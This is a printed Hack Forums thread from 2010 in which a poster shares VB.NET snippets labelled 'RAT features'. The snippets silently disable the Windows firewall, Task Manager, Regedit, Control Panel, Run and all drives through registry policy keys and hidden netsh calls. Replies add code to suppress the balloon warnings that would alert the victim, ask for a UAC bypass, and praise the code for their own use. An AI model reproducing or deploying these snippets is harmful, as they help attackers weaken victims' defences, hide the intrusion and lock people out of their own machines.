.NET [VB.NET] Enable/Disable (RAT FEATURES)

[.NET] [VB.NET] Enable/Disable (RAT FEATURES) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [VB.NET] Enable/Disable (RAT FEATURES) (/showthread.php?tid=348026)

[VB.NET] Enable/Disable (RAT FEATURES) - Matt39 - Apr 3, 2010

Regedit
------Enable

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f ")

------Disable

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f ")

Windoes Firewall
-----Enable

Code 
Dim Proc As Process = New Process

        Dim top As String = "netsh.exe"

        Proc.StartInfo.Arguments = ("firewall set opmode enable")

        Proc.StartInfo.FileName = top

        Proc.StartInfo.UseShellExecute = False

        Proc.StartInfo.RedirectStandardOutput = True

        Proc.StartInfo.CreateNoWindow = True

        Proc.Start()

        Proc.WaitForExit()

----Disable

Code 
Dim Proc As Process = New Process

        Dim top As String = "netsh.exe"

        Proc.StartInfo.Arguments = ("firewall set opmode disable")

        Proc.StartInfo.FileName = top

        Proc.StartInfo.UseShellExecute = False

        Proc.StartInfo.RedirectStandardOutput = True

        Proc.StartInfo.CreateNoWindow = True

        Proc.Start()

        Proc.WaitForExit()

Edit: Added More
Taskmanager
----Enable

Code 
Dim key1 As RegistryKey = Registry.CurrentUser

        Dim subkey1 As RegistryKey

        subkey1 = key1.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)

        subkey1.SetValue("DisableTaskMgr", 0)

---Disable

Code 
Dim key As RegistryKey = Registry.CurrentUser

        Dim subkey As RegistryKey

        subkey = key.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)

        subkey.SetValue("DisableTaskMgr", 1)

Disable Balloon Popups

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v EnableBalloonTips /t REG_DWORD /d 1 /f ")

Disable all drives :)

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives  /t REG_DWORD /d 3FFFFFF  /f ")

Disable Control Pannel

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f")

Enable Control Pannel

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f")

Disable RUN

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")

Enable RUN

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f")

Change the Registered Change the User Information

Code 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion.

Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you want

* - Pentoxide - Apr 3, 2010

Hmm, nice share dude D: keep em coming'

* - Samuell - Apr 3, 2010

Nice, but if you run that command to disable windows fire wall, a little balloon will pop up alarming the user :p.

* - Matt39 - Apr 3, 2010

(Apr 3, 2010 08:10 AM)Classical Wrote: Nice, but if you run that command to disable windows fire wall, a little balloon will pop up alarming the user :p.

Just use this

Code 
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v EnableBalloonTips /t REG_DWORD /d 1 /f ")

* - codepoet - Apr 3, 2010

very sexy coding.....good work

* - [iSphynx] - Apr 3, 2010

Very nice share, great for my use atm! i look to see more, i believe theirs a task manager one around here too!

* - Matt39 - Apr 4, 2010

(Apr 3, 2010 04:19 PM)[iSphynx] Wrote: Very nice share, great for my use atm! i look to see more, i believe theirs a task manager one around here too!

Bump

Added Task Manager, Any more?

Added some more :) do ask for any regedit rat features you may want

* - JohnWayne - Apr 4, 2010

You could add disable UAC ;-)

* - TheBlackMarket - Oct 14, 2010

Really nice mate! thanks for the cool share.

* - Mr. Anderson - Oct 14, 2010

thanks for the snippets :)

* - avivagoeng - Oct 15, 2010

code that is beautiful and short.
very good
😉

* - Icy Wind - Oct 15, 2010

Nice share indeed, keep it up :)